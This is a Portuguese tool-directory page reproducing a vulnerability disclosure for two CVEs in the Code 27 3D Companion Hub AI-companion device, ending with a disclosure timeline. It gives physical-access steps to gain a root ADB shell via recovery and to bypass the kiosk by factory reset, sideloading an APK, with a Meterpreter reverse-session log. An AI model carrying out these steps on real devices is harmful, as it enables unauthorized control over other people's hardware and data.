Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Code-27-Companion-Hub-Exploits — Proof of concept for CVE-2026-36027 and CVE-2026-36028 | Kitploit
Ferramentas/GitHubGitHub/redr0nin/code-27-companion-hub-exploits
Android SecurityEmbedded Systems SecurityPrivilege EscalationIoT SecurityVulnerability AnalysisExploitationPenetration TestingHardware Security

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
redr0nin/code-27-companion-hub-exploits

Code-27-Companion-Hub-Exploits

Proof of concept for CVE-2026-36027 and CVE-2026-36028

Ver Repositório
1há 1 mêsAinda não revisado

Vulnerabilidades do Code 27 3D Companion Hub (CVE-2026-36027, CVE-2026-36028)

O Code 27 3D Companion Hub é um dispositivo físico de mesa que renderiza um personagem de IA personalizado (um "Codie") como um companheiro 3D animado. Os usuários podem enviar ou criar qualquer modelo 3D, e a IA multimodal permite que o personagem veja seus arredores, leia tom e linguagem corporal e mantenha conversas abertas.

Este documento cobre duas vulnerabilidades que exigem acesso físico ao dispositivo. Ambas foram validadas na versão abaixo e, no momento da publicação, não possuem correção.

Code 27 3D Companion Hub

Dispositivo / Versão Afetada

CampoValor
ProdutoCode 27 3D Companion Hub
Versão da interface Companion Hub1.2.0
SoC / placaRockchip RK3588S (rk3588s_yt921)
SOAndroid 12
ID da compilaçãoSQ3A.220705.003.A1
Fingerprint completork3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
Tipo de compilaçãouserdebug / release-keys

O firmware de fábrica é uma compilação userdebug (visível no banner de recuperação e em ro.build.display.id). Compilações userdebug permitem que o adbd seja reiniciado como root via adb root, o que é um facilitador chave para a existência do CVE-2026-36027.

Tela de versão do Companion Hub mostrando a versão 1.2.0


CVE-2026-36027 - Execução Arbitrária de Código via Depuração USB (ADB) na Recuperação

Resumo Executivo

Um atacante fisicamente próximo pode iniciar o Companion Hub na recuperação do Android e obter um shell ADB com privilégios de root (uid=0, contexto SELinux u:r:su:s0). Como o dispositivo vem com uma compilação userdebug, o adbd pode ser reiniciado como root com adb root, dando ao atacante interação de leitura/escrita com o ambiente de recuperação, capacidade de enumerar propriedades de hardware e compilação, e acesso a funções de recuperação (sideload, fastboot, operações em partições).

O acesso obtido está dentro do ramdisk de recuperação, não no runtime Android ativo. Em testes, a ação Montar /system da recuperação falhou (libfs_mgr não conseguiu abrir /dev/block/by-name/system), portanto a partição de sistema não foi montada diretamente por este caminho, e o ambiente de usuário inicializado, com o kiosk e quaisquer dados de usuário decifrados, não é apresentado neste modo.

Isso ainda importa porque o acesso root ao ambiente de recuperação é a base para modificar o estado persistente do dispositivo (por exemplo, escrever em partições ou aplicar um pacote de atualização criado) de modo que um código controlado pelo atacante possa ser executado em uma inicialização normal subsequente, estabelecendo uma posição no dispositivo ativo.

Prova de Conceito

  1. Desligue o dispositivo.
  2. Quando o dispositivo estiver completamente desligado, segure os botões de energia e volume ao mesmo tempo até que o dispositivo inicialize no menu de recuperação do Android.

Menu de recuperação do Android com Mount /system destacado

  1. Conecte um cabo USB-C ao Companion Hub e a extremidade USB-A a um computador.
  2. Use os botões para navegar até Mount /system, destaque-o e confirme. Parecerá falhar. Isso é esperado, e a exploração ainda funciona. (O log de recuperação mostra o libfs_mgr falhando ao abrir /dev/block/by-name/system.)
  3. Com o ADB instalado em seu computador, confirme que o dispositivo está listado:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193       recovery
  1. O dispositivo está em modo de recuperação. Reinicie o adbd em um contexto de root:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
  1. Abra um shell - agora você é root no dispositivo:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
  1. Com o shell root, você pode enumerar e interagir com o sistema de arquivos de recuperação:
root@kitploit:~
# ls -la
total 840
drwxrwxrwt  33 root root     1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
 1970-01-01 00:00 .
drwxrwxrwt  33 root root     1040 1970-01-01 00:00 ..
drwxr-xr-x   2 root root       40 1970-01-01 00:00 acct
drwxr-xr-x   2 root root       40 1970-01-01 00:00 apex
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx   1 root root       50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x   2 root root       40 1970-01-01 00:00 cache
drwxr-xr-x   3 root root        0 1970-01-01 00:00 config
lrwxrwxrwx   1 root root       17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data_mirror
drwxr-xr-x   2 root root       40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx   1 root root       12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x  15 root root     1380 1970-01-01 00:00 dev
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx   1 root root       16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x---   1 root root      662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x   2 root root       60 1970-01-01 00:00 linkerconfig
drwxr-xr-x  12 root root     4096 1970-01-01 00:00 metadata
drwxr-xr-x   8 root system    160 1970-01-01 00:00 mnt
drwxr-xr-x   2 root root      240 1970-01-01 00:00 odm
drwxr-xr-x   2 root root       60 1970-01-01 00:00 odm_dlkm
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 oem
drwxr-xr-x   3 root root      260 1970-01-01 00:00 pcba
-rw-r--r--   1 root root    47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r--   1 root root    76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root        0 1970-01-01 00:00 proc
drwxr-xr-x   2 root root       40 1970-01-01 00:00 product
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_property_contexts
-rw-r--r--   1 root root    14023 1970-01-01 00:00 prop.default
drwxr-xr-x   3 root root       60 1970-01-01 00:00 res
drwx------   2 root root       40 2026-02-03 06:23 root
drwxr-xr-x   2 root root       60 1970-01-01 00:00 sbin
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sdcard
drwxr-xr-x   2 root root       40 1970-01-01 00:00 second_stage_resources
-rw-r--r--   1 root root   658375 1970-01-01 00:00 sepolicy
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sideload
drwxr-x--x   2 root root       40 1970-01-01 00:00 storage
dr-xr-xr-x  14 root root        0 1970-01-01 00:00 sys
drwxr-xr-x   5 root root      100 1970-01-01 00:00 system
drwxr-xr-x   2 root root       40 1970-01-01 00:00 system_ext
-rw-r--r--   1 root root      177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r--   1 root root     1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x   2 root shell      40 1970-01-01 00:00 tmp
drwxr-xr-x   3 root root       60 1970-01-01 00:00 vendor
drwxr-xr-x   2 root root       60 1970-01-01 00:00 vendor_dlkm
-rw-r--r--   1 root root    25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r--   1 root root     4395 1970-01-01 00:00 vendor_property_contexts

CVE-2026-36028 - Bypass de Restrição do Kiosk via Restauração de Fábrica

Resumo Executivo

Uma restauração de fábrica realizada a partir do menu de recuperação apaga a partição de dados do usuário, onde os aplicativos do kiosk estão instalados. Como o kiosk não faz parte da partição de sistema, ele não é restaurado na reinicialização, e o dispositivo inicializa em um ambiente Android padrão e irrestrito (lançador, navegador web, gerenciador de arquivos, configurações e outros aplicativos do sistema).

A partir deste ambiente irrestrito, um atacante pode reativar as opções de desenvolvedor/depuração USB, carregar lateralmente um APK arbitrário e executá-lo para obter um shell no sistema operacional ativo. Em testes, isso produziu uma sessão meterpreter rodando como o usuário de aplicativo não privilegiado u0_a79 — um contexto de privilégio e dados diferente do shell root no modo de recuperação do CVE-2026-36027, porque ele roda no SO ativo e inicializado, em vez do ramdisk de recuperação. O código plantado e executado neste estado opera como parte da operação normal do dispositivo, dando ao atacante controle interativo do dispositivo e de seu sistema de arquivos acessível ao usuário.

Prova de Conceito

  1. Desligue o dispositivo.
  2. Quando o dispositivo estiver completamente desligado, segure os botões de energia e volume ao mesmo tempo até que o dispositivo inicialize no menu de recuperação do Android.
  3. Destaque Wipe data/factory reset e confirme a limpeza.

Menu de recuperação do Android com Wipe data/factory reset destacado

  1. Quando o dispositivo reiniciar, os aplicativos do kiosk estarão ausentes e o modo kiosk não será iniciado. Isso ocorre porque os aplicativos do kiosk estão instalados na partição de dados do usuário, em vez da partição de sistema. Uma restauração de fábrica via recuperação apaga os dados do usuário, removendo permanentemente os aplicativos do kiosk; como eles não estão presentes na partição de sistema, não são restaurados na reinicialização e o kiosk falha ao iniciar.
  2. O atacante recebe um ambiente Android irrestrito, incluindo um navegador web, gerenciador de arquivos, Configurações e outros aplicativos do sistema. A partir daqui, a depuração USB pode ser ativada e um APK arbitrário pode ser carregado lateralmente e executado — neste caso, resultando em uma sessão Meterpreter no SO ativo:
root@kitploit:~
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500

meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  acct
040554/r-xr-xr--  480      dir   1969-12-31 19:00:03 -0500  apex
040110/--x--x---  8192     dir   2008-12-31 19:00:00 -0500  bin
000000/---------  0        fif   1969-12-31 19:00:00 -0500  bugreports
040000/---------  4096     dir   1969-12-31 19:00:04 -0500  cache
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  config
040554/r-xr-xr--  0        dir   1969-12-31 19:00:00 -0500  d
040110/--x--x---  4096     dir   2026-02-03 01:27:34 -0500  data
040000/---------  120      dir   1969-12-31 19:00:04 -0500  data_mirror
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  debug_ramdisk
040554/r-xr-xr--  1760     dir   2026-02-03 01:27:34 -0500  dev
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  etc
100554/r-xr-xr--  1997584  fil   2008-12-31 19:00:00 -0500  init
100000/---------  463      fil   2008-12-31 19:00:00 -0500  init.environ.rc
040554/r-xr-xr--  240      dir   1969-12-31 19:00:03 -0500  linkerconfig
040000/---------  16384    dir   2008-12-31 19:00:00 -0500  lost+found
040554/r-xr-xr--  4096     dir   1969-12-31 19:00:04 -0500  metadata
040554/r-xr-xr--  360      dir   1969-12-31 19:00:05 -0500  mnt
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  odm_dlkm
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  oem
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  postinstall
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  proc
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  product
040776/rwxrwxrw-  3452     dir   2026-02-03 01:27:39 -0500  sdcard
040554/r-xr-xr--  4096     dir   2008-12-31 19:00:00 -0500  second_stage_resources
040110/--x--x---  80       dir   1969-12-31 19:00:04 -0500  storage
040554/r-xr-xr--  0        dir   1969-12-31 19:00:02 -0500  sys
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  system
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  system_ext
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:54 -0500  vendor
040554/r-xr-xr--  3488     dir   2026-01-18 22:15:55 -0500  vendor_dlkm

Linha do Tempo de Divulgação

Baixar ferramenta
DataEvento
2026-02-17Ambas as vulnerabilidades divulgadas para a equipe Code 27 e confirmadas.
2026-02-17Ambas as vulnerabilidades de dia zero reportadas ao MITRE.
2026-02-18A equipe Code 27 discutiu um plano de resolução, reuniu informações adicionais e afirmou que seria corrigido.
2026-06-15MITRE atribui CVE-2026-36027 e CVE-2026-36028.
2026-06-15Code 27 notificada da atribuição; contato inicial encaminha informações para a equipe de segurança para revisão da compilação.
2026-06-16A equipe de segurança da Code 27 pede detalhes técnicos completos, novamente.
2026-06-17Detalhes técnicos completos fornecidos à equipe de segurança, novamente.
2026-06-18Nenhuma resposta da equipe de segurança.
2026-06-19Um representante da Code 27 afirma que as empresas geralmente recebem 90 dias para resolver problemas de segurança e que a equipe de segurança já está ciente. O representante é informado de que os problemas foram relatados há mais de 120 dias. Um prazo de divulgação em 1º de julho é definido.
2026-06-25Contato com a segurança da Code 27 para confirmar aviso final do prazo e publicação.
2026-06-28Code 27 pede desculpas, confirma os identificadores CVE e o prazo de divulgação, e afirma que um aviso público e um link serão enviados antes de 1º de julho.
2026-07-01Code 27 contactada sobre o status do aviso; nenhuma resposta.
2026-07-02Detalhes da vulnerabilidade não corrigida publicados.